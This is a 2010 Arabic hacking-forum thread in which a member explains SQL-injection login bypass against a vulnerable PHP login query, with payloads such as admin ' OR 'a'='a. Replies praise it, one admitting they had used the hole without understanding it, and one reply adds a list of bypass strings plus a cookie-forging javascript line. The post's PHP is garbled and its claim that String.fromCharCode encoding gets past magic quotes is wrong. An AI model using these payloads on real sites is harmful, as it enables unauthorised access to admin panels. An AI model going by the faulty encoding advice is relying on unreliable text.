Loading...

BTC Address to donate : [[address]]

Donation of [[value]] BTC Received. Thank You.
[[error]]


W3B-SPY عضو جديد
  • شكراً: 3
  • تم شكره 46 مرة في 7 مشاركة



السلام عليكم و رحمة الله و بركاته

هذا اول موضوع لي مع انه الثغرات هذي بسيطة بس قلت معليش نحطو افضل من لا شيء

هذا النوع من الثفرات يسمح لك بالدخول الى الموقع بدون معرفة الباسوورد او اليوزر

وهذا هو ما يجعله خطيرا كم انه يعتبر احد انواع ال sql injection.

الان ناتي لطريقة الاستغلال:

لنفرض ان هذا الكود هو السورس كود الخص ب الملف login.php وهو الكود الذي يتحقق

من الباسوورد :

كود PHP:
<?php
$sql 
"SELECT * FROM users WHERE username='" $_POST['username'] . "' AND
password='" 
$POST_['password'] . "'";
response mysql_query($sql);
?>
الكود هذا يكوم بمقارنة اليوزر و الباس المدخل مع الموجدو في قاعدة البيانات و في حال

التطابق يتم السماح بالدخول الى لوحة التحكم ، الان نحن بحاجة الى التحايل من اجل السماح

لنا بالدخول الى اللوحة ، لنفرض ان المستخدم هو admin كما هو شائع دائم ، نقوم بادخال اليوزر

فقط بدون باسوورد وهو admin فيصبح الكود هكذا :

كود PHP:
<?php
$sql 
"SELECT * FROM users WHERE username='admin' AND
password='" 
$POST_['password'] . "'";
response mysql_query($sql);
?>
وبهذا نكون ححقنا الشرط الاول من الاج عملية الدخول وهو اليوزر ، الان يبقى الباسوورد ،

الان سوف نستعمل الامر OR معناته بالعربي او :D ، نحن لدينا الكود اخاص بالتحقق من الباس هو :

كود PHP:
password=' " . $POST_['password'] . " ' 
والمتغير الموجود في الكود هو الباس الذي سنقومك بادخاله اذا نقوم بوضع هذا الكود في مكان الباسوورد :
كود PHP:
admin ' OR 'a'='
وبالتالي يصبح الكود الخاص بادخال الباس هو :

كود PHP:
password='admin ' OR 'A'='A' 
ويصبح الكود الكلي الخاص بعملية الدخول هو :

كود PHP:

<?php
$sql 
"SELECT * FROM users WHERE username='admin' AND
password='admin ' OR 'A'='A'"
;
response mysql_query($sql);
?>
ومعناه ان هناك شرطان لاتمام عملية الدخول وهما :

1- ان يكون اسم المستخدم هو admin وقد تحقق هذا الشرط كما ذكرت سابقا لاننا

افتضرنا ان الاسم هو admin

2-الشرط الثاني هو ان يكون الباسوورد هو admin في حال كان الباسوورد حقا هو

admin فسوط يتم تسجيل الدخول و ان لم يكون كذلك فسوف يعمل الامر or ويتحقق

من صحة المساواة a=a وبما انها صحيحة رح يتحقق الشرط وتتم عملية الدخول .

ملاحظة بالامكان استعمال الكود على الاسم :

كود PHP:
' or 'a'=a 
بما انه نوع من انواع ال sql injection كما قلت سابقا فرمبا تبادر الى

اذهانكم ان الماجيك كوتس قد يقوم بتعطيلنا هنا ، لذا في حالة ما اذا كان الماجيك كوتس مفعلا

في السيرفر ، فيمكننا تخطي ذلك بسهولة عن طريق تشفير الاكواد و استعمال الدالة

String.fromCharCode() كمثال لتشفير الكود :

كود PHP:
' OR 'a'='
ينتج لنا هذا الكود

كود PHP:
String.fromCharCode(8216327982328216978217326132821697
انتهى الشرح البسيط ،

واعتد انه لا يوجد داعي حتى اقول الحقوق محفوظة ويمنع النقل

بعض الامثلة عن هذه الثغرات :

http://www.exploit-db.com/exploits/12415/
http://www.exploit-db.com/exploits/12691/

تحياتي


07-06-2010, 10:33 PM
DZ-CRYPT عضو مميز
  • شكراً: 81
  • تم شكره 18 مرة في 6 مشاركة

يعطيك الف عافية

توقيع
[SIGPIC][/SIGPIC]
07-06-2010, 11:51 PM
Sec4ever الحماية للأبد
  • شكراً: 3479
  • تم شكره 5313 مرة في 946 مشاركة

خويا w3b-spy شرح مفهوم و بسيط و مهم .

و بالتوفيق

توقيع
08-06-2010, 01:38 AM
Ip$tr1x عضو نشيط
  • شكراً: 19
  • تم شكره 16 مرة في 9 مشاركة

بارك الله فيك خويا شرح رائع

شكرااا لك

17-06-2010, 04:52 AM
n4ss1m Ş4È´cΘđ3г
  • شكراً: 1563
  • تم شكره 1653 مرة في 343 مشاركة

بارك الله فيك

شرح رائع من شخص أروع و حصري

تحياتي,,

توقيع
...
17-06-2010, 03:04 PM
asl-jazan عضو مميز
  • شكراً: 35
  • تم شكره 25 مرة في 8 مشاركة

يعطيك العافيه يابطل

كنا نستخدم الثغره ومنعرفش كيف تعمل

جزاك الله خير على التوضيح

30-06-2010, 09:40 PM
V!ru$_T4ckJ3n Linux Coder
  • شكراً: 306
  • تم شكره 348 مرة في 106 مشاركة

شكرا لك اخي الكريم
و دائما شروحات ممتازة
بارك الله فيك

01-07-2010, 11:24 AM
Ma3sTr0-Dz :: Sec4ever#TG ::
  • شكراً: 819
  • تم شكره 366 مرة في 106 مشاركة

مشكور حبيبي w3b-spy شرح بسيط ومفهوم

توقيع
One Team , One Love , One Heart
Sec4ever
23-07-2010, 04:53 PM
Mr.Hx عضو جديد
  • شكراً: 3
  • تم شكره مرة واحدة في مشاركة واحدة

لاهنت يابطل وهالنوع من الثغرات مصاب بها مواقع كبيره وثغرات لا يستهان فيها ومع كثرة المحاوله توصل لمرادك

وهذي بعض اكواد الدخول للفائدة

كود:
or 1=1
'or'
' or 1 = 1 --'

'='

'=' #

' or 1=1#

'="

1=1 or ' 

' OR 'a'='a  
بعد التشفير

String.fromCharCode(8216, 32, 79, 82, 32, 8216, 97, 8217, 32, 61, 32, 8216, 97)  
======================
java cood for cookies
javaاستبدال script:استبدال document.cookie = "logged =1";

الأعضاء الذين قالوا شكراً لـ Mr.Hx على المشاركة المفيدة:
i-Hmx | Eg-R1z |
  • شكراً: 1269
  • تم شكره 6073 مرة في 755 مشاركة

شرح واضح ومفيد للغايه
مشكور يا برنس

توقيع
"اللهم إغفر لنا ذنوبنا وإسرافنا فى أمرنا وثبت أقدامنا وانصرنا على القوم الكافرين"

Telegram or contact method : PM me || Personal Blog : 1337s.cc